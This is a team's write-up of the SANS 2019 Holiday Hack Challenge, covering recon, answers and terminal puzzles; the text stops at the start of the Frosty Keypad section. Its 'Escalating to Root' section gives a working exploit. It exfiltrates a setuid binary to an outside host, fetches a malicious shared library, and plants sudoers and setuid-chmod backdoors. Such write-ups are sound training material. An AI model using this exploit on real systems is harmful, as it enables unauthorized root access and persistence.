SANS 2019 Holiday Hack Writeup
Table of Contents
- Intro
- Recon
- Answers
- Terminals & Mini-Challenges
- Objectives
- 0. Talk to Santa in the Quad
- 1. Find the Turtle Doves
- 2. Unredact Threatening Document ๐
- 3. Windows Log Analysis: Evaluate Attack Outcome ๐
- 4. Windows Log Analysis: Determine Attacker Technique ๐๐
- 5. Network Log Analysis: Determine Compromised System ๐๐
- 6. Splunk ๐๐๐
- 7. Get Access To The Steam Tunnels ๐๐๐
- 8. Bypassing the Frido Sleigh CAPTEHA ๐๐๐
- 9. Retrieve Scraps of Paper from Server ๐๐๐๐
- 10. Recover Cleartext Document ๐๐๐๐๐
- 11. Open the Sleigh Shop Door ๐๐๐๐๐
- 12. Filter Out Poisoned Sources of Weather Data ๐๐๐๐
- KringleCon
- Easter Eggs
- Conclusion
Intro
Santa once again brought us one of our favorite presents this year; another call to arms to help save Christmas from evil hackers. We were more than willing to ignore family, friends, and real life responsibilities in order to help out!
The main role ESnet plays is to connect the Department of Energy labs together with bleeding-edge, low latency, high bandwidth links to help push the boundaries of science. Due to this, we were excited to see a laser in the Laboratory. We also enjoyed the mix of offensive challenges, and defensive ones as well, that was a nice twist. We were delighted to see Zeek (nรฉ Bro) feature as much as it did, given that it was created at the same lab ESnet is based out of and we have a Zeek developer on our team. We had a blast and, as always, want to thank SANS for putting this on.
We try to show how, and more importantly, explain why we did each step of the challenges. While this makes for a long report, we hope it's got something for everyone. Each terminal challenge has an accompanying asciinema recording. We chose this format because it allows you to pause the "video" and copy commands directly. If you'd like more detail about a particular command, we recommend pasting it into explainshell.com.
On the other hand, if this is the 1,650,000th report you're reading, allow us to point out the highlights:
- escalations to root on two Cranberry Pi terminals,
- HHC Trail high score, Crate low score, and even cracking the Crate,
- finding Jason (twice!), cool maps and some other easter eggs.
Our motto is "why do things by hand when you can create a tool?" so once again weโre also releasing some of the tools and scripts we wrote in our GitHub repository.
Happy reading,
The ESnet Security Team
โDop, Sam, and Vlad
Recon
The Holiday Hack Challenge is one of the most elaborate network security competitions (and KringleCon is the largest online security conference!). The complex architecture allows for challenges which are incredibly realistic, and that can scale to tens of thousands of competitors. However, complexity can often be the enemy of security. Just like a real attacker targeting a real organization or individual, the work begins long before the attack, during the reconnaisance phase. Members of our team have done HHC Recon the past few years with great success. Even knowing a hostname or two can be a huge help.
Without any scope or authorization, you must not attack or affect the infrastructure during reconnaisance.
For more details, check out past write-ups. Using reverse
WHOIS, we discover a new domain name, wey-tech.com
, registered in
January 2019. This could be a red herring, though…
elfu.org
Apart from searching for new domains, we've also been keeping an eye
on changes to domains we already know about. Looking at certificate
transparency logs once again, we find a certificate with 2 SANs: download.holidayhackchallenge.com
, which
was used in HHC18, and downloads.elfu.org
.
Figure 1: downloads.elfu.org in CT logs
Checking WHOIS data for elfu.org
we see that it was created in
May 2019. We also notice that our reverse WHOIS technique was thwarted
via WHOIS privacy.
download.elfu.org
resolves to the same IP address as
download.holidayhackchallenge.com
.
Our guess that this is "Elf University" is strengthened by Ed's tweet, with interesting capitalization:
Walking around ElfU tonight seeing all the preparations for @KringleCon and SANS #HolidayHack. The music surrounding me is AMAZING. @CountNinjula @dualcoremusic THANK YOU!
— edskoudis (@edskoudis) December 7, 2019
Answers
Talk to Santa in the Quad
Santa was also in the Quad, you guys! (With an umbrella…)
Find the Turtle Doves
By the fireplace in the Student Union.
Unredact Threatening Document
DEMAND
Windows Log Analysis: Evaluate Attack Outcome
supatree
Windows Log Analysis: Determine Attacker Technique
ntdsutil
Network Log Analysis: Determine Compromised System
192.168.134.130
Splunk
Kent you are so unfair. And we were going to make you the king of the Winter Carnival.
Get Access To The Steam Tunnels
Krampus Hollyfeld
Bypassing the Frido Sleigh CAPTEHA
8Ia8LiZEwvyZr2WO
Retrieve Scraps of Paper from Server
Super Sled-O-Matic
Recover Cleartext Document
Machine Learning Sleigh Router Finder
Open the Sleigh Shop Door
The Tooth Fairy
Filter Out Poisoned Sources of Weather Data
0807198508261964
Terminals & Mini-Challenges
Escape Ed
Direct link: ?challenge=edescape
In the train station.
Background
Oh, many UNIX tools grow old, but this one's showing gray. That Pepper LOLs and rolls her eyes, sends mocking looks my way. I need to exit, run - get out! - and celebrate the yule. Your challenge is to help this elf escape this blasted tool. -Bushy Evergreen
Exit ed.
I'm glad you're here. I'm the target of a terrible trick.
Pepper Minstix is at it again, sticking me in a text editor.
Pepper is forcing me to learn ed.
Even the hint is ugly. Why can't I just use Gedit?
Please help me just quit the grinchy thing.
ed Editor Basics: Ed Is The Standard Text Editor
Solution
We must escape the ed
editor. This is reminiscent of last year's
Essential Editor challenge, where we had to escape vi
. vi is actually a descendant of ed.
The website from hint has some useful advice for us:
End all commands with an <enter>
When done editing, give the command "w", then "q".
Following the instructions in the hint, we manage to escape:
1100 w 1100 q Loading, please wait...... You did it! Congratulations!
Consulting the ed
man page, we determine that this issued the
"write" (save) command, followed by the "quit" command. We could've
combined these into a single wq
command, or just quit immediately if
we didn't care about potential changes.
Linux Path
Direct link: ?challenge=path
In Hermey Hall.
Background
I need to list files in my home/ To check on project logos But what I see with ls there, Are quotes from desert hobos... which piece of my command does fail? I surely cannot find it. Make straight my path and locate that- I'll praise your skill and sharp wit! Get a listing (ls) of your current directory.
Find and run the real ls
.
I need to review some files in my Linux terminal, but I can't get a file listing.
I know the command is ls
, but it's really acting up.
Do you think you could help me out? As you work on this, think about these questions:
1. Do the words in green have special significance?
2. How can I find a file with a specific name?
3. What happens if there are multiple executables with the same name in my $PATH?
Linux Path: Green words matter, files must be found, and the terminal's $PATH matters.
Solution
To find a file with a specific name, several words in green would
work: which
, find
, and locate
. We'll use which
, as it takes
the PATH
environment variable into account. We'll invoke it with the
-a
flag to list all instances, and not just the first one. If
duplicate files exist, the order the directory appears in the PATH
will determine which command gets run.
elf@term_path:~$ which -a ls /usr/local/bin/ls /bin/ls elf@term_path:~$ /bin/ls ' ' rejected-elfu-logos.txt Loading, please wait...... You did it! Congratulations!
We discover that the real ls
is actually /bin/darealmvp
. Running that, we're treated to some lovely hidden artwork:
elf@d561ee2abb68:~$ darealmvp -la total 52 drwxr-xr-x 1 elf elf 4096 Dec 8 14:19 ' ' drwxr-xr-x 1 elf elf 4096 Dec 8 14:19 . drwxr-xr-x 1 root root 4096 Nov 21 19:46 .. -rw-r--r-- 1 elf elf 220 Apr 18 2019 .bash_logout -rw-r--r-- 1 elf elf 3596 Jan 5 04:17 .bashrc -rw-r--r-- 1 elf elf 13838 Nov 21 19:46 .elfscream.txt -rw-r--r-- 1 elf elf 807 Apr 18 2019 .profile -rw-r--r-- 1 elf elf 401 Nov 21 19:46 rejected-elfu-logos.txt elf@d561ee2abb68:~$ cat .elfscream.txt I'm trapped in an ASCII art factory - send help! XXXXKKKKKKKKKKKKKKKKKKKKK00000000000000000000000000OOO XXXKKKKKKKKKKKKKKKKKKK0000000000000000000000000000000O XXKKKKKKKKKKKKKKKK00000000000000000OOOOOOOOOOOO0OOOOOO XXKKKKKKKKKKKKK0000000OOOkkkkkkxxxxxxxxkkOOOOOOOOOOOOO XKKKKKKKKKKK000OOkkxxxxxxxxxxkxddxxddddddodxkOOOOOOOOO KKKKKKKKK00OkxxxxxxxxxxdxxxxddxxxdddxdddddddooxOOOOOOO KKKKKKK0OkxxdxxkxxxxkxxxxxxdxxdddddxdddddooooooxOOOOOO KKKKK0OkkkxxxxkkxxxxxxxxxddxxxxxxxxxddddddooooookOOOOO NKK0OxxxxxxxxxxxxxxxxxxxxxxxxdxddddddddoooooooookOOOOO NK0kxxxxkxxxxxxxxxxxxxxxxxxxddddddddoooooollooookOOOOO KXOxdxxxxxdxxkxdoooollccccc::;:;;;,;,,,',,,,:llkkOOOOO KKxddxxxddoccxdoloooodxxxxxxkxxxxxxxxkkxxxdoc,,okOOOOO KKkddkxdxO:lkOOOOOOOOOOOOOOOkkkkxxdxxodoollll:'lkkOOOO KKkxxxxk00d;;llllcllcc:::c:::;;;;;:::cccc:. .;xkkOOOO KKOkxkO000d,cododxddxxxkkkkOOOkkkkkkkkkxxo. .:kkOOOO KKkllok00x,,kOOOOOOdoodooxOOOOOOkxc:::ccdx;. ..:kkOOO KO;dOx:oOl,dOOO0Oklxc.oklxOOOOOklcd;.:xdcdd.. .okkOO Kk;dkx:,xc,xOOO0Oxlddlc:dOOOOOOk:dxl:oo:cxx;. ckkkO KKk:;;:xOo,dOOO0OOkdooxOOOOOOOOkxc::::cdxxxl .. 'xkkO KKKK00000k:;xOOOOOOOOOOOOOOk',okkkkkkkkkxxx:.....'xkkO KKKKK0KK00d;:kOOOOOOOOOOOOk: .;xkkkkkkkkxx.. .,xkkOO KKKKK000000x::xOOOOOOOOOOOOdodxkkkkkkkkkkxx. .'dkkOOO KKKK00000000Od::okOOOOOOOkkxl,';cdkkkkkkxx: ..;xkkkOOO KKKK000000000OOo,';xkOOkko' .,dxxkkxxc...lkkkOOOOO KKKK000000000OOOkl..dkkkx.. . .lxxxxx;..'dkkkkOOOOO KKK00000000000OOOOo.:kkkx. .cxxxd' ;xkkkkOOOOOO KK0000000000000OOOk;'xkkk, .cxxo...lkkkkkkOOOOOO KK000000000000OOOOOk,okkko. .odd'..dxkkkkkkkkkOOO KK00000000000OOOOOOOo;xkkkc. ;dd'..lxxkkkkkkkkkkkk K00000000000OOOOOOOOkl:xkkko;'.,cdd'..:xxkkkkkkkkkkkkk 00000000000OOOOOOOOOOkc:xkkkxxxdoc. .dxxkkkkkkkkkkkkk 0000000000OOOOOOOOOOOOko:oxxxdl' .oxxkkkkkkkkkkkkkk 00000000OOOOOOOOOOOOOOkkxl;. . .:xxkkkkkkkkkkkkkkk 00000OOOOOOOOOOOOOOOOOkkkkxo::'..':dxkkkkkkkkkkkkkkkkk 0000OOOOOOOOOOOOOOOOOOOkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkk OOOOOOOOOOOOOOOOOOOOOOkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkk
Xmas Cheer Laser
Direct link: ?challenge=powershell
In the laboratory in Hermey Hall.
Background
๐ฒ๐ฒ๐ฒ๐ฒ๐ฒ๐ฒ๐ฒ๐ฒ๐ฒ๐ฒ๐ฒ๐ฒ๐ฒ๐ฒ๐ฒ๐ฒ๐ฒ๐ฒ๐ฒ๐ฒ๐ฒ๐ฒ๐ฒ๐ฒ๐ฒ๐ฒ๐ฒ๐ฒ๐ฒ๐ฒ๐ฒ๐ฒ๐ฒ๐ฒ๐ฒ๐ฒ๐ฒ๐ฒ๐ฒ๐ฒ๐ฒ๐ฒ๐ฒ๐ฒ๐ฒ๐ฒ๐ฒ๐ฒ๐ฒ๐ฒ ๐ฒ ๐ฒ ๐ฒ Elf University Student Research Terminal - Christmas Cheer Laser Project ๐ฒ ๐ฒ ------------------------------------------------------------------------------ ๐ฒ ๐ฒ The research department at Elf University is currently working on a top-secret ๐ฒ ๐ฒ Laser which shoots laser beams of Christmas cheer at a range of hundreds of ๐ฒ ๐ฒ miles. The student research team was successfully able to tweak the laser to ๐ฒ ๐ฒ JUST the right settings to achieve 5 Mega-Jollies per liter of laser output. ๐ฒ ๐ฒ Unfortunately, someone broke into the research terminal, changed the laser ๐ฒ ๐ฒ settings through the Web API and left a note behind at /home/callingcard.txt. ๐ฒ ๐ฒ Read the calling card and follow the clues to find the correct laser Settings. ๐ฒ ๐ฒ Apply these correct settings to the laser using it's Web API to achieve laser ๐ฒ ๐ฒ output of 5 Mega-Jollies per liter. ๐ฒ ๐ฒ ๐ฒ ๐ฒ Use (Invoke-WebRequest -Uri http://localhost:1225/).RawContent for more info. ๐ฒ ๐ฒ ๐ฒ ๐ฒ๐ฒ๐ฒ๐ฒ๐ฒ๐ฒ๐ฒ๐ฒ๐ฒ๐ฒ๐ฒ๐ฒ๐ฒ๐ฒ๐ฒ๐ฒ๐ฒ๐ฒ๐ฒ๐ฒ๐ฒ๐ฒ๐ฒ๐ฒ๐ฒ๐ฒ๐ฒ๐ฒ๐ฒ๐ฒ๐ฒ๐ฒ๐ฒ๐ฒ๐ฒ๐ฒ๐ฒ๐ฒ๐ฒ๐ฒ๐ฒ๐ฒ๐ฒ๐ฒ๐ฒ๐ฒ๐ฒ๐ฒ๐ฒ๐ฒ
Use the API to power the laser to 5 Mega-Jollies per liter.
I'm Sparkle Redberry and Imma chargin' my laser!
Problem is: the settings are off.
Do you know any PowerShell?
It'd be GREAT if you could hop in and recalibrate this thing.
It spreads holiday cheer across the Earth …
… when it's working!
PowerShell: SANS' PowerShell Cheat Sheet
Solution
Weโre in PowerShell and out of our normal element. Weโll be relying heavily on the SANS Cheatsheet for this one.
We'll follow the directions in the logon message first. The SANS Cheatsheet also tells us that Get-Content
will display file contents.
PS /home/elf> (Invoke-WebRequest -Uri http://localhost:1225/).Content <html> <body> <pre> ---------------------------------------------------- Christmas Cheer Laser Project Web API ---------------------------------------------------- Turn the laser on/off: GET http://localhost:1225/api/on GET http://localhost:1225/api/off Check the current Mega-Jollies of laser output GET http://localhost:1225/api/output Change the lense refraction value (1.0 - 2.0): GET http://localhost:1225/api/refraction?val=1.0 Change laser temperature in degrees Celsius: GET http://localhost:1225/api/temperature?val=-10 Change the mirror angle value (0 - 359): GET http://localhost:1225/api/angle?val=45.1 Change gaseous elements mixture: POST http://localhost:1225/api/gas POST BODY EXAMPLE (gas mixture percentages): O=5&H=5&He=5&N=5&Ne=20&Ar=10&Xe=10&F=20&Kr=10&Rn=10 ---------------------------------------------------- </pre> </body> </html> PS /home/elf> Get-Content /home/callingcard.txt What's become of your dear laser? Fa la la la la, la la la la Seems you can't now seem to raise her! Fa la la la la, la la la la Could commands hold riddles in hist'ry? Fa la la la la, la la la la Nay! You'll ever suffer myst'ry! Fa la la la la, la la la la
The calling card mentions commands holding riddles in history. Checking the history isn't on our cheat-sheet, but with some searching, we find the following solution:
PS /home/elf> Get-History Id CommandLine -- ----------- 1 Get-Help -Name Get-Process 2 Get-Help -Name Get-* 3 Set-ExecutionPolicy Unrestricted 4 Get-Service | ConvertTo-HTML -Property Name, Status > C:\services.htm 5 Get-Service | Export-CSV c:\service.csv 6 Get-Service | Select-Object Name, Status | Export-CSV c:\service.csv 7 (Invoke-WebRequest -Uri http://127.0.0.1:1225/api/angle?val=65.5).Content 8 Get-EventLog -Log "Application" 9 I have many name=value variables that I share to applications system wide. At a command I will reveal my secrets once you Get my Child Items. 10 (Invoke-WebRequest -Uri -Uri http://localhost:1225/).Content 11 Get-Content /home/callingcard.txt
We got the command for setting the angle. We also got a hint pointing us to child items in environment variables. Once more, we do some research, and come up with:
PS /home/elf> (Invoke-WebRequest -Uri http://127.0.0.1:1225/api/angle?val=65.5).Content Updated Mirror Angle - Check /api/output if 5 Mega-Jollies per liter reached. PS /home/elf> Get-ChildItem env: Name Value ---- ----- _ /bin/su DOTNET_SYSTEM_GLOBALIZATION_Iโฆ false HOME /home/elf HOSTNAME 35dbd250296c LANG en_US.UTF-8 LC_ALL en_US.UTF-8 LOGNAME elf MAIL /var/mail/elf PATH /opt/microsoft/powershell/6:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games PSModuleAnalysisCachePath /var/cache/microsoft/powershell/PSModuleAnalysisCache/ModuleAnalysisCache PSModulePath /home/elf/.local/share/powershell/Modules:/usr/local/share/powershell/Modules:/opt/microsoft/powershell/6/Modules PWD /home/elf RESOURCE_ID undefined riddle Squeezed and compressed I am hidden away. Expand me from my prison and I will show you the way. Recurse through all /etc and Sort on my LastWriteTime to reveal im the newest of all. SHELL /home/elf/elf SHLVL 1 TERM xterm USER elf userdomain laserterminal USERDOMAIN laserterminal USERNAME elf username elf
We find a riddle:
Squeezed and compressed I am hidden away. Expand me from my prison and I will show you the way. Recurse through all /etc and Sort on my LastWriteTime to reveal im the newest of all.
Let's find the newest file, and uncompress it. We have an example with
| sort
in the cheatsheet, and the riddle gives us an extra nudge to
sort on a particular field. We're on our own for figuring out how to
expand an archive, luckily the name is rather intuitive.
PS /home/elf> Get-ChildItem -Recurse /etc | sort LastWriteTime < truncated > Directory: /etc/apt Mode LastWriteTime Length Name ---- ------------- ------ ---- --r--- 1/4/20 4:25 AM 5662902 archive PS /home/elf> Expand-Archive /etc/apt/archive PS /home/elf> Get-ChildItem -Recurse archive Directory: /home/elf/archive Mode LastWriteTime Length Name ---- ------------- ------ ---- d----- 1/4/20 4:39 AM refraction Directory: /home/elf/archive/refraction Mode LastWriteTime Length Name ---- ------------- ------ ---- ------ 11/7/19 11:57 AM 134 riddle ------ 11/5/19 2:26 PM 5724384 runme.elf
Sounds like we have an ELF binary to run. However, if we try that, we get an permission denied message. We can get past this by fixing the permissions:
PS /home/elf> chmod +x ./archive/refraction/runme.elf PS /home/elf> ./archive/refraction/runme.elf refraction?val=1.867
We'll set our second parameter, the refraction, to the correct value, and then check out the riddle from the archive:
PS /home/elf> (Invoke-WebRequest -Uri http://127.0.0.1:1225/api/refraction?val=1.867).Content Updated Lense Refraction Level - Check /api/output if 5 Mega-Jollies per liter reached. PS /home/elf> Get-Content ./archive/refraction/riddle Very shallow am I in the depths of your elf home. You can find my entity by using my md5 identity: 25520151A320B5B0D21561F92C8F6224
We can combine a couple cheatsheet examples to come up with:
PS /home/elf> Get-ChildItem /home/elf -File -Recurse | Where-Object {(Get-FileHash -Algorithm MD5 -Path $_).Hash โeq "25520151A320B5B0D21561F92C8F6224"} Directory: /home/elf/depths/produce Mode LastWriteTime Length Name ---- ------------- ------ ---- --r--- 11/18/19 7:53 PM 224 thhy5hll.txt
The previous command was a bit tricky. Without specifying -File
, Powershell tries to hash each directory, which generates an error message. We can now either view /home/elf/depths/produce/thhy5hll.txt
, or tweak our previous command:
PS /home/elf> Get-ChildItem /home/elf -File -Recurse | Where-Object {(Get-FileHash -Algorithm MD5 -Path $_).Hash โeq "25520151A320B5B0D21561F92C8F6224"} | Get-Content temperature?val=-33.5 I am one of many thousand similar txt's contained within the deepest of /home/elf/depths. Finding me will give you the most strength but doing so will require Piping all the FullName's to Sort Length.
One more value acquired. The next challenge is similar to how we found the archive, but we do as the riddle says, and pipe the FullNames to Sort Length:
PS /home/elf> (Invoke-WebRequest -Uri http://127.0.0.1:1225/api/temperature?val=-33.5).Content Updated Laser Temperature - Check /api/output if 5 Mega-Jollies per liter reached. PS /home/elf> (Get-ChildItem -Recurse /home/elf/depths).FullName | sort Length < truncated > /home/elf/depths/larger/cloud/behavior/beauty/enemy/produce/age/chair/unknown/escape/vote/long/ writer/behind/ahead/thin/occasionally/explore/tape/wherever/practical/therefore/cool/plate/ice/ play/truth/potatoes/beauty/fourth/careful/dawn/adult/either/burn/end/accurate/rubbed/cake/main/ she/threw/eager/trip/to/soon/think/fall/is/greatest/become/accident/labor/sail/dropped/fox/ 0jhj5xz6.txt
Viewing that file gives us:
Get process information to include Username identification. Stop Process to show me you're skilled and in this order they must be killed:
bushy alabaster minty holly
Do this for me and then you /shall/see .
The cheatsheet tells us we can use Get-Process
. However, by
default, it doesn't include the username. Using the help puts us on
the right track:
PS /home/elf> Get-Process NPM(K) PM(M) WS(M) CPU(s) Id SI ProcessName ------ ----- ----- ------ -- -- ----------- 0 0.00 29.46 1.47 6 1 CheerLaserServi 0 0.00 133.25 67.58 31 1 elf 0 0.00 3.43 0.03 1 1 init 0 0.00 0.78 0.00 25 1 sleep 0 0.00 0.81 0.00 26 1 sleep 0 0.00 0.80 0.00 27 1 sleep 0 0.00 0.80 0.00 29 1 sleep 0 0.00 3.46 0.00 30 1 su PS /home/elf> Get-Process -? NAME Get-Process SYNTAX Get-Process [[-Name] <string[]>] [-Module] [-FileVersionInfo] [<CommonParameters>] Get-Process [[-Name] <string[]>] -IncludeUserName [<CommonParameters>] < truncated > PS /home/elf> Get-Process -IncludeUserName WS(M) CPU(s) Id UserName ProcessName ----- ------ -- -------- ----------- 29.46 1.56 6 root CheerLaserServi 134.27 67.73 31 elf elf 3.43 0.03 1 root init 0.78 0.00 25 bushy sleep 0.81 0.00 26 alabaster sleep 0.80 0.00 27 minty sleep 0.80 0.00 29 holly sleep 3.46 0.00 30 root su
At this point, we know that we need to kill the processes in the right order (25, 26, 27, 29). We could search for how to kill processes in Powershell, or we could use the built-in tools, as directed by the cheatsheet:
PS /home/elf> Get-Command *Process CommandType Name Version Source ----------- ---- ------- ------ Alias Stop-Process Cmdlet Debug-Process 6.1.0.0 Microsoft.PowerShell.Management Cmdlet Enter-PSHostProcess 6.2.3.0 Microsoft.PowerShell.Core Cmdlet Exit-PSHostProcess 6.2.3.0 Microsoft.PowerShell.Core Cmdlet Get-Process 6.1.0.0 Microsoft.PowerShell.Management Cmdlet Start-Process 6.1.0.0 Microsoft.PowerShell.Management Cmdlet Stop-Process 6.1.0.0 Microsoft.PowerShell.Management Cmdlet Wait-Process 6.1.0.0 Microsoft.PowerShell.Management PS /home/elf> Stop-Process 25 PS /home/elf> Stop-Process 26 PS /home/elf> Stop-Process 27 PS /home/elf> Stop-Process 29
At this point, we're stuck a bit, until we re-read the clue:
PS /home/elf> Get-ChildItem /shall Directory: /shall Mode LastWriteTime Length Name ---- ------------- ------ ---- --r--- 1/4/20 9:02 PM 149 see PS /home/elf> Get-Content /shall/see Get the .xml children of /etc - an event log to be found. Group all .Id's and the last thing will be in the Properties of the lonely unique event Id.
Once more, adapting an example from the cheatsheet:
PS /home/elf> Get-ChildItem /etc -recurse -include *.xml Directory: /etc/systemd/system/timers.target.wants Mode LastWriteTime Length Name ---- ------------- ------ ---- --r--- 11/18/19 7:53 PM 10006962 EventLog.xml
At this point, the training wheels are off, and we need to find a way to parse this file, and group the ids ourselves. After a few iterations, we find:
PS /home/elf> Import-Clixml /etc/systemd/system/timers.target.wants/EventLog.xml | group Id Count Name Group ----- ---- ----- 1 1 {System.Diagnostics.Eventing.Reader.EventLogRecord} 39 2 {System.Diagnostics.Eventing.Reader.EventLogRecord, System.Diagnostics.Eventing.Reader.EventLogRecord, System.Diagnostics.Eventing.Reader.EventLogRecord, System.Diagnostics.Eventing.Reader.Eveโฆ 179 3 {System.Diagnostics.Eventing.Reader.EventLogRecord, System.Diagnostics.Eventing.Reader.EventLogRecord, System.Diagnostics.Eventing.Reader.EventLogRecord, System.Diagnostics.Eventing.Reader.Eveโฆ 2 4 {System.Diagnostics.Eventing.Reader.EventLogRecord, System.Diagnostics.Eventing.Reader.EventLogRecord} 905 5 {System.Diagnostics.Eventing.Reader.EventLogRecord, System.Diagnostics.Eventing.Reader.EventLogRecord, System.Diagnostics.Eventing.Reader.EventLogRecord, System.Diagnostics.Eventing.Reader.Eveโฆ 98 6 {System.Diagnostics.Eventing.Reader.EventLogRecord, System.Diagnostics.Eventing.Reader.EventLogRecord, System.Diagnostics.Eventing.Reader.EventLogRecord, System.Diagnostics.Eventing.Reader.Eveโฆ PS /home/elf> Import-Clixml /etc/systemd/system/timers.target.wants/EventLog.xml | where {$_.Id -eq 1} Message : Process Create: RuleName: UtcTime: 2019-11-07 17:59:56.525 ProcessGuid: {BA5C6BBB-5B9C-5DC4-0000-00107660A900} ProcessId: 3664 Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe FileVersion: 10.0.14393.206 (rs1_release.160915-0644) Description: Windows PowerShell Product: Microsoftยฎ Windowsยฎ Operating System Company: Microsoft Corporation OriginalFileName: PowerShell.EXE CommandLine: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -c "`$correct_gases_postbody = @{`n O=6`n H=7`n He=3`n N=4`n Ne=22`n Ar=11`n Xe=10`n F=20`n Kr=8`n Rn=9`n}`n"
With this, we have our last parameter. We think that `n
is actually
a newline. We just need to set the gas mixture, turn on the laser, and
check the output:
PS /home/elf> $correct_gases_postbody = @{ >> O=6 >> H=7 >> He=3 >> N=4 >> Ne=22 >> Ar=11 >> Xe=10 >> F=20 >> Kr=8 >> Rn=9 >> } PS /home/elf> (Invoke-WebRequest -Uri http://localhost:1225/api/gas -Body $correct_gases_postbody -Method POST ).Content Updated Gas Measurements - Check /api/output if 5 Mega-Jollies per liter reached. PS /home/elf> (Invoke-WebRequest -Uri http://localhost:1225/api/on).Content Christmas Cheer Laser Powered On PS /home/elf> (Invoke-WebRequest -Uri http://localhost:1225/api/output).Content Success! - 5.23 Mega-Jollies of Laser Output Reached!
Escalating to Root
This terminal was incredibly challenging for us. We couldnโt tell if it was painful simply due to our lack of experience with Powershell, or because we were meant to solve it a different way (perhaps through container escape?).
Solving it only using Powershell was rewarding, but we had a nagging
feeling that something wasn't quite right. We had figured out that we
were running Powershell on Linux within Docker. Because of this, even
though itโs running Powershell, standard Linux permissions apply. One
glaring exception to this was being able to stop other users'
processes. We decided to take a deeper look at the Stop-Process
alias.
PS /home/elf> Get-Alias -Definition Stop-Process CommandType Name Version Source ----------- ---- ------- ------ Alias kill -> kill Alias spps -> kill PS /home/elf> Get-Command -All kill CommandType Name Version Source ----------- ---- ------- ------ Alias kill -> kill Application kill 0.0.0.0 /usr/bin/kill
Poking around at the kill
command, we notice that it's not
respecting any options that the usual version of kill
uses. Additionally, it's usually installed in /bin
and not
/usr/bin
. We suspect this file has the setuid
permission, so it
will run with elevated privileges.
We'll pull the file off the system and examine it more closely. Since this container is connected to the Internet, there's a number of ways we can retrieve the file. We'll encode the file, do an HTTP POST to a server that will store uploads, then compare hashes for integrity.
PS /home/elf> $wc = New-Object System.Net.WebClient PS /home/elf> $wc.UploadFile("http://example.net","/usr/bin/kill") PS /home/elf> Get-FileHash -Algorithm MD5 /usr/bin/kill Algorithm Hash Path --------- ---- ---- MD5 C2969E791C5623A6F3A4F354430241D3 /usr/bin/kill
On a different system, we determine this is a Linux (ELF) binary, and is dynamically linked. It pulls in some libraries as dependencies.
vlad@test $ file kill kill: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/l, for GNU/Linux 2.6.32, BuildID[sha1]=28ba79c778f7402713aec6af319ee0fbaf3a8014, stripped vlad@test $ ldd ./kill linux-vdso.so.1 (0x00007fff5bb9c000) libdl.so.2 => /lib/x86_64-linux-gnu/libdl.so.2 (0x00007fc2210cc000) libz.so.1 => /lib/x86_64-linux-gnu/libz.so.1 (0x00007fc220eaf000) libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007fc220abe000) /lib64/ld-linux-x86-64.so.2 (0x00007fc2212d0000)
Normally this would be sufficient for an attack, as we can use
LD_PRELOAD
to load a malicious library before the program
executes. However, the dynamic loader (ld
) by default runs in
"secure-execution mode" for setuid binaries, to prevent just this type
of attack.
We'll inspect its behavior with ltrace
, which will log calls to
standard library functions.
vlad@test $ ltrace -f -o test_kill_abcdabcd ./kill abcdabcd vlad@test $ head test_kill_abcdabcd 4042 __libc_start_main(0x401a70, 2, 0x7fff6f577e28, 0x405390 <unfinished ...> 4042 calloc(1, 16528) 4042 readlink(0x4057c4, 0x7fff6f574d20, 4096, 0) 4042 stpcpy(0x7fff6f576d20, "/home/vlad/kill") 4042 __strcpy_chk(0x7fff6f573d10, 0x7fff6f574d20, 4096, 0x7ff164c2c000) 4042 dirname(0x7fff6f573d10, 0x7fff6f574d20, 16, 3360) 4042 strcpy(0x7fff6f575d20, "/home/vlad") 4042 getenv("_MEIPASS2") 4042 unsetenv("_MEIPASS2") 4042 strnlen(0x7fff6f575d20, 4096, 0x7fff6f574d2a, 95)
Right off the bat, we see the program trying to load an environment
variable named _MEIPASS2
. Searching tells us this comes from McMillan Enterprise
Installer, the ancestor of PyInstaller. If we set it and re-run, we see:
vlad@test $ _MEIPASS2=pass2_value ltrace -f -o test_kill_abcdabcd ./kill abcdabcd [5664] Error loading Python lib 'pass2_value/libpython3.6m.so.1.0': dlopen: pass2_value/libpython3.6m.so.1.0: cannot open shared object file: No such file or directory
Well, that was easy. We've found a way to load a malicious
shared-object (library) file. At this point, we built a shared-object
file to verify our assumption that kill
was setuid root, which it
was. In the interest of time, we'll skip that, and present our exploit
code. This was made more complicated due to the fact that many tools had been removed.
#include <stdio.h> #include <string.h> #include <sys/stat.h> #include <sys/types.h> #include <stdlib.h> #include <unistd.h> void _init() { FILE* sudoers; // Don't want subsequent PyInstaller binaries to break unsetenv("_MEIPASS2"); // Escalate to root setgid(0); setuid(0); // Fix restricted permissions chmod("/usr/bin/sudo", 04111); // Make chmod setuid-root chmod("/bin/chmod", 04755); // Add ourselves to /etc/sudoers char* line = "elf ALL=(ALL) NOPASSWD:ALL\n"; chmod("/etc/sudoers", 0666); sudoers = fopen("/etc/sudoers", "a"); fwrite(line, sizeof(char), strlen(line), sudoers); fclose(sudoers); // sudo won't run without correct permissions chmod("/etc/sudoers", 0444); }
This code installs two backdoors. First, we set chmod
setuid root,
so we can change permissions on any file. We also add ourselves to be
able to run any command as root via sudo
. We can build this into a
shared-object file with: gcc -Os -fPIC -shared -o libpython3.6m.so.1.0 exploit.c -nostartfiles
.
We set our environment variable, download the file, and, upon running
kill
, the system will load our library and execute the code in the
_init
function.
PS /home/elf> $Env:_MEIPASS2 = "/home/elf" PS /home/elf> Invoke-WebRequest -Uri https://example.net/libpython3.6m.so.1.0 -OutFile libpython3.6m.so.1.0 PS /home/elf> kill [118] Cannot dlsym for Py_DontWriteBytecodeFlag PS /home/elf> sudo su - -su: groups: command not found -su: /usr/bin/locale-check: No such file or directory -su: mesg: command not found root@term_powershell:~#
While we may be root itโs a limited victory, as weโre still on an injured system with many useful files removed.
Frosty Keypad
Direct link: https://keypad.elfu.org/?id=Jebediah&username=Springfield
Right side of the Quad.
Background
Exploring the right side of the Quad, we find Tangle Coalbox, who needs our help:
I'm sleuthing again, and I could use your help.
Ya see, this here number lock's been popped by someone.
I think I know who, but it'd sure be great if you could open this up for me.
I've got a few clues for you.
1. One digit is repeated once.
2. The code is a prime number.
